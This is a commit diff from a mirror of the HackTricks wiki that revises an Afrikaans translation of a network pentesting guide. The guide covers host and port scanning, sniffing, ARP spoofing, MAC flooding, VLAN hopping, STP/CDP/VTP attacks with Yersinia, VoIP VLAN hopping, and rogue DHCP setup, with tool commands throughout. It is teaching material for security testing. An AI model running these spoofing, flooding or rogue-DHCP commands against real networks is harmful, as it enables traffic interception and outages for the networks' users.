mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-methodologies-and-resources/pentesting-network/
This commit is contained in:
parent
562235d8be
commit
35b4fc441b
@ -21,6 +21,7 @@
|
||||
- [Network Protocols Explained (ESP)](generic-methodologies-and-resources/pentesting-network/network-protocols-explained-esp.md)
|
||||
- [Nmap Summary (ESP)](generic-methodologies-and-resources/pentesting-network/nmap-summary-esp.md)
|
||||
- [Pentesting IPv6](generic-methodologies-and-resources/pentesting-network/pentesting-ipv6.md)
|
||||
- [Telecom Network Exploitation](generic-methodologies-and-resources/pentesting-network/telecom-network-exploitation.md)
|
||||
- [WebRTC DoS](generic-methodologies-and-resources/pentesting-network/webrtc-dos.md)
|
||||
- [Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks](generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
|
||||
- [Spoofing SSDP and UPnP Devices with EvilSSDP](generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)
|
||||
|
@ -22,28 +22,28 @@ nmap -PE -PM -PP -sn -n 199.66.11.0/24 #Send echo, timestamp requests and subnet
|
||||
### TCP Port Ontdekking
|
||||
|
||||
Dit is baie algemeen om te vind dat alle soorte ICMP-pakkette gefilter word. Dan is al wat jy kan doen om te kyk of 'n gasheer aan is, om **te probeer om oop poorte te vind**. Elke gasheer het **65535 poorte**, so, as jy 'n "groot" omvang het, kan jy **nie** toets of **elke poort** van elke gasheer oop is of nie, dit sal te veel tyd neem.\
|
||||
Dan, wat jy nodig het, is 'n **vinnige poortscanner** ([masscan](https://github.com/robertdavidgraham/masscan)) en 'n lys van die **meest gebruikte poorte:**
|
||||
Dan, wat jy nodig het, is 'n **vinnige poort skandeerder** ([masscan](https://github.com/robertdavidgraham/masscan)) en 'n lys van die **meest gebruikte poorte:**
|
||||
```bash
|
||||
#Using masscan to scan top20ports of nmap in a /24 range (less than 5min)
|
||||
masscan -p20,21-23,25,53,80,110,111,135,139,143,443,445,993,995,1723,3306,3389,5900,8080 199.66.11.0/24
|
||||
```
|
||||
U kan ook hierdie stap met `nmap` uitvoer, maar dit is stadiger en `nmap` het probleme om hosts op te spoor.
|
||||
|
||||
### HTTP Port Discovery
|
||||
### HTTP Poort Ontdekking
|
||||
|
||||
Dit is net 'n TCP-poortontdekking wat nuttig is wanneer u wil **fokus op die ontdekking van HTTP** **dienste**:
|
||||
Dit is net 'n TCP poort ontdekking wat nuttig is wanneer u wil **fokus op die ontdekking van HTTP** **dienste**:
|
||||
```bash
|
||||
masscan -p80,443,8000-8100,8443 199.66.11.0/24
|
||||
```
|
||||
### UDP Port Ontdekking
|
||||
|
||||
Jy kan ook probeer om te kyk vir 'n paar **UDP poorte wat oop** is om te besluit of jy **meer aandag** aan 'n **gasheer** moet gee. Aangesien UDP dienste gewoonlik **nie antwoordgee** met **enige data** op 'n gewone leë UDP proefpakket, is dit moeilik om te sê of 'n poort gefilter of oop is. Die maklikste manier om dit te besluit, is om 'n pakket te stuur wat verband hou met die lopende diens, en aangesien jy nie weet watter diens aan die gang is nie, moet jy die mees waarskynlike probeer op grond van die poortnommer:
|
||||
Jy kan ook probeer om te kyk vir 'n paar **UDP poorte wat oop** is om te besluit of jy **meer aandag** aan 'n **gasheer** moet gee. Aangesien UDP dienste gewoonlik **nie antwoordgee** met **enige data** op 'n gewone leë UDP-probe pakket, is dit moeilik om te sê of 'n poort gefilter of oop is. Die maklikste manier om dit te besluit, is om 'n pakket te stuur wat verband hou met die lopende diens, en aangesien jy nie weet watter diens aan die gang is nie, moet jy die mees waarskynlike probeer op grond van die poortnommer:
|
||||
```bash
|
||||
nmap -sU -sV --version-intensity 0 -F -n 199.66.11.53/24
|
||||
# The -sV will make nmap test each possible known UDP service packet
|
||||
# The "--version-intensity 0" will make nmap only test the most probable
|
||||
```
|
||||
Die nmap lyn wat voorheen voorgestel is, sal die **top 1000 UDP poorte** in elke gasheer binne die **/24** reeks toets, maar selfs dit sal **>20min** neem. As jy **vinnige resultate** nodig het, kan jy [**udp-proto-scanner**](https://github.com/portcullislabs/udp-proto-scanner) gebruik: `./udp-proto-scanner.pl 199.66.11.53/24` Dit sal hierdie **UDP probes** na hul **verwachte poort** stuur (vir 'n /24 reeks sal dit net 1 min neem): _DNSStatusRequest, DNSVersionBindReq, NBTStat, NTPRequest, RPCCheck, SNMPv3GetRequest, chargen, citrix, daytime, db2, echo, gtpv1, ike, ms-sql, ms-sql-slam, netop, ntp, rpc, snmp-public, systat, tftp, time, xdmcp._
|
||||
Die nmap lyn wat voorheen voorgestel is, sal die **top 1000 UDP poorte** in elke gasheer binne die **/24** reeks toets, maar selfs dit sal **>20min** neem. As jy **vinniger resultate** benodig, kan jy [**udp-proto-scanner**](https://github.com/portcullislabs/udp-proto-scanner) gebruik: `./udp-proto-scanner.pl 199.66.11.53/24` Dit sal hierdie **UDP probes** na hul **verwachte poort** stuur (vir 'n /24 reeks sal dit net 1 min neem): _DNSStatusRequest, DNSVersionBindReq, NBTStat, NTPRequest, RPCCheck, SNMPv3GetRequest, chargen, citrix, daytime, db2, echo, gtpv1, ike,ms-sql, ms-sql-slam, netop, ntp, rpc, snmp-public, systat, tftp, time, xdmcp._
|
||||
|
||||
### SCTP Poort Ontdekking
|
||||
```bash
|
||||
@ -64,7 +64,7 @@ As jy binne die netwerk is, is een van die eerste dinge wat jy wil doen om **and
|
||||
|
||||
### Passief
|
||||
|
||||
Jy kan hierdie gereedskap gebruik om passief gasheer binne 'n gekonnekteerde netwerk te ontdek:
|
||||
Jy kan hierdie gereedskap gebruik om gasheer passief binne 'n gekonnekteerde netwerk te ontdek:
|
||||
```bash
|
||||
netdiscover -p
|
||||
p0f -i eth0 -p -o /tmp/p0f.log
|
||||
@ -76,7 +76,7 @@ set net.show.meta true #more info
|
||||
### Aktief
|
||||
|
||||
Let daarop dat die tegnieke wat in [_**Ontdekking van gasheer vanaf die buitekant**_](#discovering-hosts-from-the-outside) (_TCP/HTTP/UDP/SCTP Poort Ontdekking_) kommentaar gelewer is, ook **hier toegepas kan word**.\
|
||||
Maar, aangesien jy in die **selfde netwerk** as die ander gashere is, kan jy **meer dinge** doen:
|
||||
Maar, aangesien jy in die **dieselfde netwerk** as die ander gashere is, kan jy **meer dinge** doen:
|
||||
```bash
|
||||
#ARP discovery
|
||||
nmap -sn <Network> #ARP Requests (Discover IPs)
|
||||
@ -98,16 +98,16 @@ alive6 <IFACE> # Send a pingv6 to multicast.
|
||||
```
|
||||
### Aktiewe ICMP
|
||||
|
||||
Let daarop dat die tegnieke wat in _Ontdek hosts van buite_ ([_**ICMP**_](#icmp)) genoem word, ook **hier toegepas** kan word.\
|
||||
Maar, aangesien jy in die **dieselfde netwerk** as die ander hosts is, kan jy **meer dinge** doen:
|
||||
Let daarop dat die tegnieke wat in _Ontdekking van gasheer vanaf die buitekant_ ([_**ICMP**_](#icmp)) genoem word, ook **hier toegepas** kan word.\
|
||||
Maar, aangesien jy in die **selfde netwerk** as die ander gashere is, kan jy **meer dinge** doen:
|
||||
|
||||
- As jy 'n **subnet broadcast address** **ping**, moet die ping by **elke host** aankom en hulle kan **aan jou** **antwoordgee**: `ping -b 10.10.5.255`
|
||||
- Deur die **network broadcast address** te ping, kan jy selfs hosts binne **ander subnets** vind: `ping -b 255.255.255.255`
|
||||
- Gebruik die `-PE`, `-PP`, `-PM` vlae van `nmap` om host ontdekking uit te voer deur onderskeidelik **ICMPv4 echo**, **timestamp**, en **subnet mask requests** te stuur: `nmap -PE -PM -PP -sn -vvv -n 10.12.5.0/24`
|
||||
- As jy 'n **subnet-broadcast adres** **ping**, moet die ping by **elke gasheer** aankom en hulle kan **aan jou** **antwoordgee**: `ping -b 10.10.5.255`
|
||||
- Deur die **netwerk-broadcast adres** te ping, kan jy selfs gashere binne **ander subnets** vind: `ping -b 255.255.255.255`
|
||||
- Gebruik die `-PE`, `-PP`, `-PM` vlae van `nmap` om gasheerontdekking uit te voer deur onderskeidelik **ICMPv4 echo**, **tydstempel**, en **subnetmasker versoeke** te stuur: `nmap -PE -PM -PP -sn -vvv -n 10.12.5.0/24`
|
||||
|
||||
### **Wake On Lan**
|
||||
|
||||
Wake On Lan word gebruik om **rekenaars aan te skakel** deur 'n **netwerk boodskap**. Die magiese pakket wat gebruik word om die rekenaar aan te skakel, is net 'n pakket waar 'n **MAC Dst** verskaf word en dan word dit **16 keer herhaal** binne dieselfde pakket.\
|
||||
Wake On Lan word gebruik om **rekenaars aan te skakel** deur 'n **netwerkboodskap**. Die magiese pakket wat gebruik word om die rekenaar aan te skakel, is net 'n pakket waar 'n **MAC Dst** verskaf word en dan word dit **16 keer herhaal** binne dieselfde pakket.\
|
||||
Hierdie tipe pakkette word gewoonlik in 'n **ethernet 0x0842** of in 'n **UDP-pakket na poort 9** gestuur.\
|
||||
As **geen \[MAC]** verskaf word nie, word die pakket na **broadcast ethernet** gestuur (en die broadcast MAC sal die een wees wat herhaal word).
|
||||
```bash
|
||||
@ -141,7 +141,7 @@ syn.scan 192.168.1.0/24 1 10000 #Ports 1-10000
|
||||
Daar is 2 opsies om 'n UDP-poort te skandeer:
|
||||
|
||||
- Stuur 'n **UDP-pakket** en kyk vir die reaksie _**ICMP onbereikbaar**_ as die poort **gesluit** is (in verskeie gevalle sal ICMP **gefilter** word, so jy sal nie enige inligting ontvang of die poort gesluit of oop is nie).
|
||||
- Stuur **geformateerde datagrams** om 'n reaksie van 'n **diens** uit te lok (bv., DNS, DHCP, TFTP, en ander, soos gelys in _nmap-payloads_). As jy 'n **reaksie** ontvang, dan is die poort **oop**.
|
||||
- Stuur 'n **geformateerde datagram** om 'n reaksie van 'n **diens** uit te lok (bv., DNS, DHCP, TFTP, en ander, soos gelys in _nmap-payloads_). As jy 'n **reaksie** ontvang, dan is die poort **oop**.
|
||||
|
||||
**Nmap** sal **albei** opsies meng met "-sV" (UDP-skanderings is baie stadig), maar let daarop dat UDP-skanderings stadiger is as TCP-skanderings:
|
||||
```bash
|
||||
@ -157,7 +157,7 @@ nmap -sU -sV --version-intensity 0 -n -T4 <IP>
|
||||
```
|
||||
### SCTP Scan
|
||||
|
||||
**SCTP (Stream Control Transmission Protocol)** is ontwerp om saam met **TCP (Transmission Control Protocol)** en **UDP (User Datagram Protocol)** gebruik te word. Die hoofdoel is om die vervoer van telekommunikasiedata oor IP-netwerke te fasiliteer, wat baie van die betroubaarheidskenmerke wat in **Signaling System 7 (SS7)** voorkom, naboots. **SCTP** is 'n kernkomponent van die **SIGTRAN** protokol familie, wat daarop gemik is om SS7 seine oor IP-netwerke te vervoer.
|
||||
**SCTP (Stream Control Transmission Protocol)** is ontwerp om saam met **TCP (Transmission Control Protocol)** en **UDP (User Datagram Protocol)** gebruik te word. Die hoofdoel is om die vervoer van telekommunikasiedata oor IP-netwerke te fasiliteer, wat baie van die betroubaarheidskenmerke van **Signaling System 7 (SS7)** weerspieël. **SCTP** is 'n kernkomponent van die **SIGTRAN** protokol-familie, wat daarop gemik is om SS7 seine oor IP-netwerke te vervoer.
|
||||
|
||||
Die ondersteuning vir **SCTP** word verskaf deur verskeie bedryfstelsels, soos **IBM AIX**, **Oracle Solaris**, **HP-UX**, **Linux**, **Cisco IOS**, en **VxWorks**, wat die breë aanvaarding en nut daarvan in die veld van telekommunikasie en netwerke aandui.
|
||||
|
||||
@ -182,7 +182,7 @@ nmap-summary-esp.md
|
||||
|
||||
### Ontbloot Interne IP Adresse
|
||||
|
||||
**Sleg geconfigureerde routers, vuurmure, en netwerk toestelle** antwoord soms op netwerk ondersoeke met **nie-openbare bron adresse**. **tcpdump** kan gebruik word om pakkette te identifiseer wat van private adresse ontvang is tydens toetsing. Spesifiek, op Kali Linux, kan pakkette op die **eth2 koppelvlak** gevang word, wat vanaf die openbare Internet toeganklik is. Dit is belangrik om te noem dat as jou opstelling agter 'n NAT of 'n Vuurmuur is, sulke pakkette waarskynlik gefiltreer sal word.
|
||||
**Sleggekonfigureerde routers, vuurmure, en netwerktoestelle** reageer soms op netwerkprobes met **nie-openbare bronadresse**. **tcpdump** kan gebruik word om pakkette te identifiseer wat van private adresse ontvang is tydens toetsing. Spesifiek, op Kali Linux, kan pakkette op die **eth2 koppelvlak** gevang word, wat vanaf die openbare Internet toeganklik is. Dit is belangrik om te noem dat as jou opstelling agter 'n NAT of 'n Vuurmuur is, sulke pakkette waarskynlik gefiltreer sal word.
|
||||
```bash
|
||||
tcpdump –nt -i eth2 src net 10 or 172.16/12 or 192.168/16
|
||||
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
|
||||
@ -192,7 +192,7 @@ IP 10.10.0.2 > 185.22.224.18: ICMP echo reply, id 25804, seq 1586, length 64
|
||||
```
|
||||
## Sniffing
|
||||
|
||||
Sniffing kan jy besonderhede van IP-reekse, subnetgroottes, MAC-adresse, en gasheername leer deur gevangenemekte rame en pakkette te hersien. As die netwerk verkeerd geconfigureer is of die skakelstof onder druk is, kan aanvallers sensitiewe materiaal vang deur passiewe netwerk sniffing.
|
||||
Sniffing kan jy besonderhede van IP-reekse, subnetgroottes, MAC-adresse en gasheername leer deur gevangenis rame en pakkette te hersien. As die netwerk verkeerd geconfigureer is of die skakelstof onder druk is, kan aanvallers sensitiewe materiaal vang deur passiewe netwerk sniffing.
|
||||
|
||||
As 'n geswitchte Ethernet-netwerk behoorlik geconfigureer is, sal jy slegs uitsendingsrame en materiaal wat bestem is vir jou MAC-adres sien.
|
||||
|
||||
@ -228,7 +228,7 @@ Jy kan gereedskap soos [https://github.com/lgandx/PCredz](https://github.com/lga
|
||||
|
||||
### ARP spoofing
|
||||
|
||||
ARP Spoofing bestaan uit die stuur van gratis ARP Responses om aan te dui dat die IP van 'n masjien die MAC van ons toestel het. Dan sal die slagoffer die ARP-tabel verander en ons masjien kontak elke keer as dit die IP wat gespoof is, wil kontak.
|
||||
ARP Spoofing bestaan uit die stuur van gratis ARPResponses om aan te dui dat die IP van 'n masjien die MAC van ons toestel het. Dan sal die slagoffer die ARP-tabel verander en ons masjien kontak elke keer as dit die IP wat gespoof is, wil kontak.
|
||||
|
||||
#### **Bettercap**
|
||||
```bash
|
||||
@ -246,7 +246,7 @@ arpspoof -t 192.168.1.2 192.168.1.1
|
||||
```
|
||||
### MAC Flooding - CAM oorgang
|
||||
|
||||
Oorgang die skakelaar se CAM tabel deur 'n groot aantal pakkette met verskillende bron MAC adresse te stuur. Wanneer die CAM tabel vol is, begin die skakelaar soos 'n hub te werk (wat al die verkeer uitsaai).
|
||||
Oorgang van die skakelaar se CAM tabel deur 'n groot aantal pakkette met verskillende bron MAC adresse te stuur. Wanneer die CAM tabel vol is, begin die skakelaar soos 'n hub te werk (wat al die verkeer uitsaai).
|
||||
```bash
|
||||
macof -i <interface>
|
||||
```
|
||||
@ -262,7 +262,7 @@ Standaard is skakelpoorte ingestel om in Dinamiese Auto-modus te werk, wat betek
|
||||
|
||||
Die teenwoordigheid van DTP in baie skakels standaard kan deur teenstanders uitgebuit word om 'n skakel se gedrag na te boots, en sodoende toegang tot verkeer oor alle VLANs te verkry. Die skrip [_**dtpscan.sh**_](https://github.com/commonexploits/dtpscan) word gebruik om 'n interface te monitor, wat onthul of 'n skakel in Standaard, Trunk, Dinamies, Auto, of Toegang-modus is—laasgenoemde is die enigste konfigurasie wat immuun is teen VLAN-hopping-aanvalle. Hierdie hulpmiddel evalueer die kwesbaarheidstatus van die skakel.
|
||||
|
||||
As netwerk kwesbaarheid geïdentifiseer word, kan die _**Yersinia**_ hulpmiddel gebruik word om "trunking te aktiveer" via die DTP-protokol, wat waarneming van pakkette van alle VLANs moontlik maak.
|
||||
As netwerk kwesbaarheid geïdentifiseer word, kan die _**Yersinia**_ hulpmiddel gebruik word om "trunking te aktiveer" via die DTP-protokol, wat die waarneming van pakkette van alle VLANs moontlik maak.
|
||||
```bash
|
||||
apt-get install yersinia #Installation
|
||||
sudo apt install kali-linux-large #Another way to install it in Kali
|
||||
@ -281,7 +281,7 @@ sudo python3 DTPHijacking.py --interface eth0
|
||||
```
|
||||
Ek wil daarop wys dat **Access/Desirable (0x03)** aandui dat die DTP-raam van die Desirable-tipe is, wat die poort vertel om na Trunk-modus te skakel. En **802.1Q/802.1Q (0xa5)** dui die **802.1Q** inkapselingstipe aan.
|
||||
|
||||
Deur die STP-raam te analiseer, **leer ons oor die bestaan van VLAN 30 en VLAN 60.**
|
||||
Deur die STP-raamwerke te analiseer, **leer ons oor die bestaan van VLAN 30 en VLAN 60.**
|
||||
|
||||
<figure><img src="../../images/image (124).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@ -323,13 +323,13 @@ sudo dhclient -v eth0.30
|
||||
```
|
||||
#### Automatiese VLAN Hopper
|
||||
|
||||
Die bespreekte aanval van **Dinamiese Trunking en die skep van virtuele interfaces en die ontdekking van gaste binne** ander VLANs word **outomaties uitgevoer** deur die hulpmiddel: [**https://github.com/nccgroup/vlan-hopping---frogger**](https://github.com/nccgroup/vlan-hopping---frogger)
|
||||
Die bespreekte aanval van **Dinamiese Trunking en die skep van virtuele interfaces om gashere binne** ander VLANs te ontdek, word **automaties uitgevoer** deur die hulpmiddel: [**https://github.com/nccgroup/vlan-hopping---frogger**](https://github.com/nccgroup/vlan-hopping---frogger)
|
||||
|
||||
#### Dubbele Etiket
|
||||
#### Dubbele Etikettering
|
||||
|
||||
As 'n aanvaller die waarde van die **MAC, IP en VLAN ID van die slagoffer gas** ken, kan hy probeer om 'n **dubbele etiket op 'n raam** te plaas met sy aangewese VLAN en die VLAN van die slagoffer en 'n pakket te stuur. Aangesien die **slagoffer nie in staat sal wees om terug te verbind** met die aanvaller nie, is die **beste opsie vir die aanvaller om via UDP te kommunikeer** met protokolle wat interessante aksies kan uitvoer (soos SNMP).
|
||||
As 'n aanvaller die waarde van die **MAC, IP en VLAN ID van die slagoffer gasheer** ken, kan hy probeer om 'n **raam te dubbel etiketteer** met sy aangewese VLAN en die VLAN van die slagoffer en 'n pakket te stuur. Aangesien die **slagoffer nie terug kan verbind** met die aanvaller nie, is die **beste opsie vir die aanvaller om via UDP te kommunikeer** met protokolle wat interessante aksies kan uitvoer (soos SNMP).
|
||||
|
||||
'n Ander opsie vir die aanvaller is om 'n **TCP-poortskandering te begin wat 'n IP naboots wat deur die aanvaller beheer word en deur die slagoffer toeganklik is** (waarskynlik deur die internet). Dan kan die aanvaller snuffel in die tweede gas wat hy besit as dit 'n paar pakkette van die slagoffer ontvang.
|
||||
'n Ander opsie vir die aanvaller is om 'n **TCP-poortskandering te begin wat 'n IP naboots wat deur die aanvaller beheer word en deur die slagoffer toeganklik is** (waarskynlik deur die internet). Dan kan die aanvaller snuffel in die tweede gasheer wat hy besit as dit 'n paar pakkette van die slagoffer ontvang.
|
||||
|
||||
.png>)
|
||||
|
||||
@ -342,7 +342,7 @@ sendp(packet)
|
||||
```
|
||||
#### Lateral VLAN Segmentation Bypass <a href="#d679" id="d679"></a>
|
||||
|
||||
As jy **toegang het tot 'n skakelaar waaraan jy direk gekoppel is**, het jy die vermoë om **VLAN-segmentering** binne die netwerk te **omseil**. Skakel eenvoudig die poort na trunk-modus (ook bekend as trunk), skep virtuele interfaces met die ID's van die teiken VLAN's, en konfigureer 'n IP-adres. Jy kan probeer om die adres dinamies aan te vra (DHCP) of jy kan dit staties konfigureer. Dit hang af van die geval.
|
||||
As jy **toegang het tot 'n skakelaar waaraan jy direk gekoppel is**, het jy die vermoë om **VLAN-segmentering** binne die netwerk te **omseil**. Skakel eenvoudig die poort na trunk-modus (ook bekend as trunk), skep virtuele interfaces met die ID's van die teiken VLAN's, en konfigureer 'n IP-adres. Jy kan probeer om die adres dinamies aan te vra (DHCP) of jy kan dit staties konfigureer. Dit hang van die geval af.
|
||||
|
||||
{{#ref}}
|
||||
lateral-vlan-segmentation-bypass.md
|
||||
@ -350,14 +350,14 @@ lateral-vlan-segmentation-bypass.md
|
||||
|
||||
#### Layer 3 Private VLAN Bypass
|
||||
|
||||
In sekere omgewings, soos gaste draadlose netwerke, word **poort-isolasie (ook bekend as private VLAN)** instellings geïmplementeer om te voorkom dat kliënte wat aan 'n draadlose toegangspunt gekoppel is, direk met mekaar kommunikeer. 'n Tegniek is egter geïdentifiseer wat hierdie isolasiemaatreëls kan omseil. Hierdie tegniek benut óf die gebrek aan netwerk ACL's óf hul onvanpaste konfigurasie, wat IP-pakkette in staat stel om deur 'n router na 'n ander kliënt op dieselfde netwerk gerouteer te word.
|
||||
In sekere omgewings, soos gaste draadlose netwerke, word **poort-isolasie (ook bekend as private VLAN)** instellings geïmplementeer om te voorkom dat kliënte wat aan 'n draadlose toegangspunt gekoppel is, direk met mekaar kommunikeer. 'n Tegniek is egter geïdentifiseer wat hierdie isolasiemaatreëls kan omseil. Hierdie tegniek benut óf die gebrek aan netwerk ACL's óf hul onjuiste konfigurasie, wat IP-pakkette in staat stel om deur 'n router na 'n ander kliënt op dieselfde netwerk gerouteer te word.
|
||||
|
||||
Die aanval word uitgevoer deur 'n **pakket te skep wat die IP-adres van die bestemmingskliënt dra, maar met die router se MAC-adres**. Dit veroorsaak dat die router die pakket verkeerdelik na die teiken kliënt stuur. Hierdie benadering is soortgelyk aan dié wat in Double Tagging Attacks gebruik word, waar die vermoë om 'n gasheer wat vir die slagoffer toeganklik is, te beheer, gebruik word om die sekuriteitsfout te benut.
|
||||
|
||||
**Belangrike Stappe van die Aanval:**
|
||||
|
||||
1. **Skep 'n Pakket:** 'n Pakket word spesiaal geskep om die teiken kliënt se IP-adres in te sluit, maar met die router se MAC-adres.
|
||||
2. **Benut Router Gedrag:** Die geskepte pakket word na die router gestuur, wat, as gevolg van die konfigurasie, die pakket na die teiken kliënt omlei, terwyl dit die isolasie wat deur private VLAN instellings verskaf word, omseil.
|
||||
2. **Benut Router Gedrag:** Die geskepte pakket word na die router gestuur, wat, as gevolg van die konfigurasie, die pakket na die teiken kliënt herlei, terwyl dit die isolasie wat deur private VLAN instellings verskaf word, omseil.
|
||||
|
||||
### VTP Attacks
|
||||
|
||||
@ -365,9 +365,9 @@ VTP (VLAN Trunking Protocol) sentraliseer VLAN-bestuur. Dit gebruik hersieningsn
|
||||
|
||||
#### VTP Domain Roles
|
||||
|
||||
- **VTP Server:** Bestuur VLAN's—skep, verwyder, wysig. Dit versprei VTP aankondigings na domeinlede.
|
||||
- **VTP Client:** Ontvang VTP aankondigings om sy VLAN-databasis te sinkroniseer. Hierdie rol is beperk van plaaslike VLAN-konfigurasiewysigings.
|
||||
- **VTP Transparent:** Neem nie deel aan VTP-opdaterings nie, maar stuur VTP aankondigings voort. Onbeïnvloed deur VTP-aanvalle, handhaaf dit 'n konstante hersieningsnommer van nul.
|
||||
- **VTP Server:** Bestuur VLAN's—skep, verwyder, wysig. Dit versprei VTP-aankondigings na domeinlede.
|
||||
- **VTP Client:** Ontvang VTP-aankondigings om sy VLAN-databasis te sinkroniseer. Hierdie rol is beperk van plaaslike VLAN-konfigurasiewysigings.
|
||||
- **VTP Transparent:** Neem nie deel aan VTP-opdaterings nie, maar stuur VTP-aankondigings voort. Onbeïnvloed deur VTP-aanvalle, handhaaf dit 'n konstante hersieningsnommer van nul.
|
||||
|
||||
#### VTP Advertisement Types
|
||||
|
||||
@ -375,9 +375,9 @@ VTP (VLAN Trunking Protocol) sentraliseer VLAN-bestuur. Dit gebruik hersieningsn
|
||||
- **Subset Advertisement:** Gestuur na VLAN-konfigurasiewysigings.
|
||||
- **Advertisement Request:** Uitgereik deur 'n VTP-kliënt om 'n Summary Advertisement aan te vra, tipies in reaksie op die opsporing van 'n hoër konfigurasie hersieningsnommer.
|
||||
|
||||
VTP kwesbaarhede is slegs via trunk-poorte benutbaar, aangesien VTP-aankondigings slegs deur hulle sirkuleer. Na DTP-aanvalscenario's kan daar na VTP oorgeskakel word. Gereedskap soos Yersinia kan VTP-aanvalle fasiliteer, met die doel om die VLAN-databasis uit te wis, wat effektief die netwerk ontwrig.
|
||||
VTP kwesbaarhede is slegs via trunk-poorte benutbaar, aangesien VTP-aankondigings slegs deur hulle sirkuleer. Na DTP-aanvalscenario's kan die fokus na VTP verskuif. Gereedskap soos Yersinia kan VTP-aanvalle fasiliteer, met die doel om die VLAN-databasis uit te wis, wat effektief die netwerk ontwrig.
|
||||
|
||||
Nota: Hierdie bespreking handel oor VTP weergawe 1 (VTPv1).
|
||||
Let wel: Hierdie bespreking handel oor VTP weergawe 1 (VTPv1).
|
||||
````bash
|
||||
%% yersinia -G # Launch Yersinia in graphical mode ```
|
||||
````
|
||||
@ -397,7 +397,7 @@ yersinia stp -attack 3
|
||||
```
|
||||
#### **STP TCP-aanval**
|
||||
|
||||
Wanneer 'n TCP gestuur word, sal die CAM-tafel van die skakelaars binne 15s verwyder word. Dan, as jy voortdurend hierdie soort pakkette stuur, sal die CAM-tafel voortdurend (of elke 15 sekondes) herbegin word en wanneer dit herbegin word, gedra die skakel soos 'n hub.
|
||||
Wanneer 'n TCP gestuur word, sal die CAM-tafel van die skakelaars binne 15 sekondes verwyder word. Dan, as jy voortdurend hierdie soort pakkette stuur, sal die CAM-tafel voortdurend (of elke 15 sekondes) herbegin word en wanneer dit herbegin word, gedra die skakel soos 'n hub.
|
||||
```bash
|
||||
yersinia stp -attack 1 #Will send 1 TCP packet and the switch should restore the CAM in 15 seconds
|
||||
yersinia stp -attack 0 #Will send 1 CONF packet, nothing else will happen
|
||||
@ -405,7 +405,7 @@ yersinia stp -attack 0 #Will send 1 CONF packet, nothing else will happen
|
||||
#### **STP Root Aanval**
|
||||
|
||||
Die aanvaller simuleer die gedrag van 'n skakelaar om die STP wortel van die netwerk te word. Dan sal meer data deur hom beweeg. Dit is interessant wanneer jy aan twee verskillende skakelaars gekoppel is.\
|
||||
Dit word gedoen deur BPDUs CONF-pakkette te stuur wat sê dat die **prioriteit** waarde minder is as die werklike prioriteit van die werklike wortel skakelaar.
|
||||
Dit word gedoen deur BPDUs CONF-pakkette te stuur wat sê dat die **prioriteit** waarde minder is as die werklike prioriteit van die werklike wortelskakelaar.
|
||||
```bash
|
||||
yersinia stp -attack 4 #Behaves like the root switch
|
||||
yersinia stp -attack 5 #This will make the device behaves as a switch but will not be root
|
||||
@ -433,7 +433,7 @@ sudo yersinia -G
|
||||
```
|
||||
Tydens hierdie aanval word die skakel se CPU en CDP buurtafel swaar belas, wat lei tot wat dikwels verwys word as **“netwerk paralise”** weens die oormatige hulpbronverbruik.
|
||||
|
||||
#### CDP Impersonation Attack
|
||||
#### CDP Imitasie Aanval
|
||||
```bash
|
||||
sudo yersinia cdp -attack 2 #Simulate a new CISCO device
|
||||
sudo yersinia cdp -attack 0 #Send a CDP packet
|
||||
@ -452,16 +452,16 @@ Die instrument [**voiphopper**](http://voiphopper.sourceforge.net) is ontwerp om
|
||||
2. **Spoof Mode** (`-c 1`): Genereer pasgemaakte pakkette wat die van 'n werklike VoIP-toestel naboots.
|
||||
3. **Spoof with Pre-made Packet Mode** (`-c 2`): Stuur pakkette wat identies is aan dié van 'n spesifieke Cisco IP-foonmodel.
|
||||
|
||||
Die verkiesde modus vir spoed is die derde. Dit vereis dat u spesifiseer:
|
||||
Die verkiesde modus vir spoed is die derde. Dit vereis dat die volgende gespesifiseer word:
|
||||
|
||||
- Die aanvaller se netwerkinterfaan (`-i` parameter).
|
||||
- Die naam van die VoIP-toestel wat nagebootst word (`-E` parameter), wat aan die Cisco naamgewingformaat moet voldoen (bv. SEP gevolg deur 'n MAC-adres).
|
||||
- Die naam van die VoIP-toestel wat nagebootst word (`-E` parameter), wat aan die Cisco naamformaat moet voldoen (bv. SEP gevolg deur 'n MAC-adres).
|
||||
|
||||
In korporatiewe omgewings, om 'n bestaande VoIP-toestel na te boots, kan 'n mens:
|
||||
|
||||
- Die MAC-etiket op die foon inspekteer.
|
||||
- Die foon se vertooninstellings navigeer om modelinligting te sien.
|
||||
- Die VoIP-toestel aan 'n skootrekenaar koppel en CDP-versoeke met Wireshark observeer.
|
||||
- Die VoIP-toestel aan 'n skootrekenaar koppel en CDP-versoeke met Wireshark waarneem.
|
||||
|
||||
'n Voorbeeldopdrag om die instrument in die derde modus uit te voer, sou wees:
|
||||
```bash
|
||||
@ -508,15 +508,15 @@ Jy kan die genoemde DoS-aanvalle gebruik om kliënte te dwing om nuwe huurooreen
|
||||
Hieronder is die opdragopsies vir die konfigurasie van die rogue DHCP-bediener:
|
||||
|
||||
- **Ons IP-adres (Gateway Advertensie)**: Gebruik `-i 10.0.0.100` om jou masjien se IP as die gateway te adverteer.
|
||||
- **Plaaslike DNS Domeinnaam**: Opsioneel, gebruik `-d example.org` om 'n plaaslike DNS-domeinnaam in te stel.
|
||||
- **Plaaslike DNS-domeinnaam**: Opsioneel, gebruik `-d example.org` om 'n plaaslike DNS-domeinnaam in te stel.
|
||||
- **Oorspronklike Router/Gateway IP**: Gebruik `-r 10.0.0.1` om die IP-adres van die wettige router of gateway spesifiek aan te dui.
|
||||
- **Primêre DNS-bediener IP**: Gebruik `-p 10.0.0.100` om die IP-adres van die rogue DNS-bediener wat jy beheer, in te stel.
|
||||
- **Sekondêre DNS-bediener IP**: Opsioneel, gebruik `-s 10.0.0.1` om 'n sekondêre DNS-bediener IP in te stel.
|
||||
- **Netmask van Plaaslike Netwerk**: Gebruik `-n 255.255.255.0` om die netmask vir die plaaslike netwerk te definieer.
|
||||
- **Koppelvlak vir DHCP-verkeer**: Gebruik `-I eth1` om na DHCP-verkeer op 'n spesifieke netwerk-koppelvlak te luister.
|
||||
